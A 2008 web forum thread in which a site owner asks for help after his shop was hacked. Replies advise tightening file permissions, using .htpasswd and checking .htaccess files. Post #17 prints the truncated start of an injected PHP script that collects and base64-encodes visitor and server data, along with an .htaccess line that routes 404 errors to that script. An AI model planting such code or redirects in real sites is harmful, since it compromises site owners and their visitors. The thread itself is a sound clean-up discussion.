Site getting Hacked
#1
Posted 28 October 2008, 15:41
Thanks
Jim
#2
Posted 28 October 2008, 16:17
Forestshopkeeper, on Oct 28 2008, 08:41 AM, said:
Thanks
Jim
Do you have any directories set at 777? Set them to 755. Files should be 644. Also, do not rely on the built in password protection for admin. Use .htpasswd. You can set it up manually or through your cpanel.
Also be sure to install these mods
That should take care of the problem.
Edited by php_Guy, 28 October 2008, 16:18.
#3
Posted 28 October 2008, 16:25
If it's set at 777 permissions, there's probably your weak point.
Folder permissions should not be higher than 755.
File permissions probably not higher than 644.
"Headers already sent" - The definitive help
"Cannot redeclare ..." - How to find/fix it
SSL Implementation Help
Like this post? "Like" it again over there >
#4
Posted 28 October 2008, 16:38
#5
Posted 28 October 2008, 22:20
germ, on Oct 28 2008, 10:25 AM, said:
If it's set at 777 permissions, there's probably your weak point.
Folder permissions should not be higher than 755.
File permissions probably not higher than 644.
Jim
#6
Posted 28 October 2008, 22:21
php_Guy, on Oct 28 2008, 10:17 AM, said:
Also be sure to install these mods
That should take care of the problem.
Jim
#7
Posted 28 October 2008, 22:23
php_Guy, on Oct 28 2008, 10:38 AM, said:
Jim
#8
Posted 28 October 2008, 22:48
Forestshopkeeper, on Oct 28 2008, 04:20 PM, said:
Jim
Jim
#11
Posted 28 October 2008, 23:23
Either that or get your hosting company to sort out their security.
Vger
#12
Posted 29 October 2008, 00:29
Vger, on Oct 28 2008, 05:23 PM, said:
Either that or get your hosting company to sort out their security.
Vger
Jim
#13
Posted 29 October 2008, 00:32
019667.php 23-May-2008 22:30 1k 1019667.php 24-Aug-2008 01:55 1k 19667.php 20-Mar-2008 02:59 1k
"Headers already sent" - The definitive help
"Cannot redeclare ..." - How to find/fix it
SSL Implementation Help
Like this post? "Like" it again over there >
#14
Posted 29 October 2008, 01:05
Also, deleting the new .php files you find may not solve your problem. Once they got in, they may have edited files to enable another means of access. That's why I suggested deleting everything and restoring a backup. At the least check all your .htaccess files, .htpasswd files if you have any, and index.php
Good luck
#16
Posted 29 October 2008, 01:57
If so, It's not a destructive nor information stealing type of hack.
It's a "pay per click" scam.
They stick these bogus PHP files around, then seed search engines with links to them, then just set back and rake in the dough (so I've been told).
Personally, I think deleting everything and reinstalling at this point is a bit premature and going overboard.
Just be sure all the folder permission are no higher than 755 and keep an eye on things for a while.
If no more hack files show up, you should be OK.
By the way, better check your admin folder too, especially your backups folder for your database.
They got me there, too.
"Headers already sent" - The definitive help
"Cannot redeclare ..." - How to find/fix it
SSL Implementation Help
Like this post? "Like" it again over there >
#17
Posted 29 October 2008, 02:43
php_Guy, on Oct 28 2008, 07:05 PM, said:
Also, deleting the new .php files you find may not solve your problem. Once they got in, they may have edited files to enable another means of access. That's why I suggested deleting everything and restoring a backup. At the least check all your .htaccess files, .htpasswd files if you have any, and index.php
Good luck
This script is in a file called 220009.php
<? error_reporting(0);$s="e";$a=(isset($_SERVER["HTTP_HOST"]) ? $_SERVER["HTTP_HOST"] : $HTTP_HOST);$b=(isset($_SERVER["SERVER_NAME"]) ? $_SERVER["SERVER_NAME"] : $SERVER_NAME);$c=(isset($_SERVER["REQUEST_URI"]) ? $_SERVER["REQUEST_URI"] : $REQUEST_URI);$d=(isset($_SERVER["PHP_SELF"]) ? $_SERVER["PHP_SELF"] : $PHP_SELF);$e=(isset($_SERVER["QUERY_STRING"]) ? $_SERVER["QUERY_STRING"] : $QUERY_STRING);$f=(isset($_SERVER["HTTP_REFERER"]) ? $_SERVER["HTTP_REFERER"] : $HTTP_REFERER);$g=(isset($_SERVER["HTTP_USER_AGENT"]) ? $_SERVER["HTTP_USER_AGENT"] : $HTTP_USER_AGENT);$h=(isset($_SERVER["REMOTE_ADDR"]) ? $_SERVER["REMOTE_ADDR"] : $REMOTE_ADDR);$i=(isset($_SERVER["SCRIPT_FILENAME"]) ? $_SERVER["SCRIPT_FILENAME"] : $SCRIPT_FILENAME);$j=(isset($_SERVER["HTTP_ACCEPT_LANGUAGE"]) ? $_SERVER["HTTP_ACCEPT_LANGUAGE"] : $HTTP_ACCEPT_LANGUAGE);$str=base64_encode($a).".".base64_encode($
This is what is in the .htaccess file in my backups folder
Options -MultiViews
ErrorDocument 404 //admin/backups/220009.php
In 2007 I did not even have a backups folder, and now I send everything to my computer. I am pulling these files for now and setting the permissions to 755 on these folders.
What else can I do?
Jim
#18
Posted 29 October 2008, 02:48
"Headers already sent" - The definitive help
"Cannot redeclare ..." - How to find/fix it
SSL Implementation Help
Like this post? "Like" it again over there >
#20
Posted 03 November 2008, 20:25
Forestshopkeeper, on Oct 29 2008, 01:18 PM, said:
I think I have found everything now. The website is working with no threats identified. I hope to get started on the mods today.
Jim
Jim














